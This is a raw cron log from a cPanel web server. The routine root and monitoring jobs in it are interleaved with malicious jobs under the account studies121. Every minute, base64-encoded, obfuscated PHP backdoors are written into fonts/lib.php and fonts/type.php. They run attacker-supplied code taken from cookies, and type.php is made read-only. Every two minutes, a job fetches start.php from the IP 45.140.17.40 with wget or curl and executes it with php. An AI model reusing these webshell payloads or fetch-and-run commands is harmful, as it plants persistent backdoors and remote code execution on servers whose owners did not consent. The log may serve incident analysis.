Sep  2 14:27:01 ip-184-168-122-23 CROND[30785]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:27:01 ip-184-168-122-23 CROND[30788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:27:01 ip-184-168-122-23 CROND[30789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:27:01 ip-184-168-122-23 CROND[30787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:28:01 ip-184-168-122-23 CROND[30984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:28:01 ip-184-168-122-23 CROND[30985]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 14:28:01 ip-184-168-122-23 CROND[30986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:28:01 ip-184-168-122-23 CROND[30987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:28:01 ip-184-168-122-23 CROND[30988]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:29:01 ip-184-168-122-23 CROND[31099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:29:01 ip-184-168-122-23 CROND[31098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:29:01 ip-184-168-122-23 CROND[31096]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:29:01 ip-184-168-122-23 CROND[31097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:30:01 ip-184-168-122-23 CROND[31229]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 14:30:01 ip-184-168-122-23 CROND[31232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:30:01 ip-184-168-122-23 CROND[31233]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 14:30:01 ip-184-168-122-23 CROND[31235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:30:01 ip-184-168-122-23 CROND[31238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:30:01 ip-184-168-122-23 CROND[31237]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 14:30:01 ip-184-168-122-23 CROND[31243]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 14:30:01 ip-184-168-122-23 CROND[31244]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:31:01 ip-184-168-122-23 CROND[31360]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:31:01 ip-184-168-122-23 CROND[31363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:31:01 ip-184-168-122-23 CROND[31362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:31:01 ip-184-168-122-23 CROND[31364]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 14:31:01 ip-184-168-122-23 CROND[31365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:32:01 ip-184-168-122-23 CROND[31447]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 14:32:01 ip-184-168-122-23 CROND[31450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:32:01 ip-184-168-122-23 CROND[31449]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:32:01 ip-184-168-122-23 CROND[31451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:32:01 ip-184-168-122-23 CROND[31452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:33:01 ip-184-168-122-23 CROND[31541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:33:01 ip-184-168-122-23 CROND[31542]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:33:01 ip-184-168-122-23 CROND[31544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:33:01 ip-184-168-122-23 CROND[31546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:34:01 ip-184-168-122-23 CROND[31715]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:34:01 ip-184-168-122-23 CROND[31717]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 14:34:01 ip-184-168-122-23 CROND[31720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:34:01 ip-184-168-122-23 CROND[31718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:34:01 ip-184-168-122-23 CROND[31719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:35:01 ip-184-168-122-23 CROND[31851]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 14:35:01 ip-184-168-122-23 CROND[31855]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 14:35:01 ip-184-168-122-23 CROND[31856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:35:01 ip-184-168-122-23 CROND[31858]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:35:01 ip-184-168-122-23 CROND[31857]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 14:35:01 ip-184-168-122-23 CROND[31859]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:35:01 ip-184-168-122-23 CROND[31861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:35:01 ip-184-168-122-23 CROND[31860]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 14:36:01 ip-184-168-122-23 CROND[31970]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:36:01 ip-184-168-122-23 CROND[31971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:36:01 ip-184-168-122-23 CROND[31973]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 14:36:01 ip-184-168-122-23 CROND[31976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:36:01 ip-184-168-122-23 CROND[31977]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:37:01 ip-184-168-122-23 CROND[32065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:37:01 ip-184-168-122-23 CROND[32067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:37:01 ip-184-168-122-23 CROND[32068]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:37:01 ip-184-168-122-23 CROND[32070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:38:01 ip-184-168-122-23 CROND[32202]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 14:38:01 ip-184-168-122-23 CROND[32204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:38:01 ip-184-168-122-23 CROND[32205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:38:01 ip-184-168-122-23 CROND[32207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:38:01 ip-184-168-122-23 CROND[32208]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
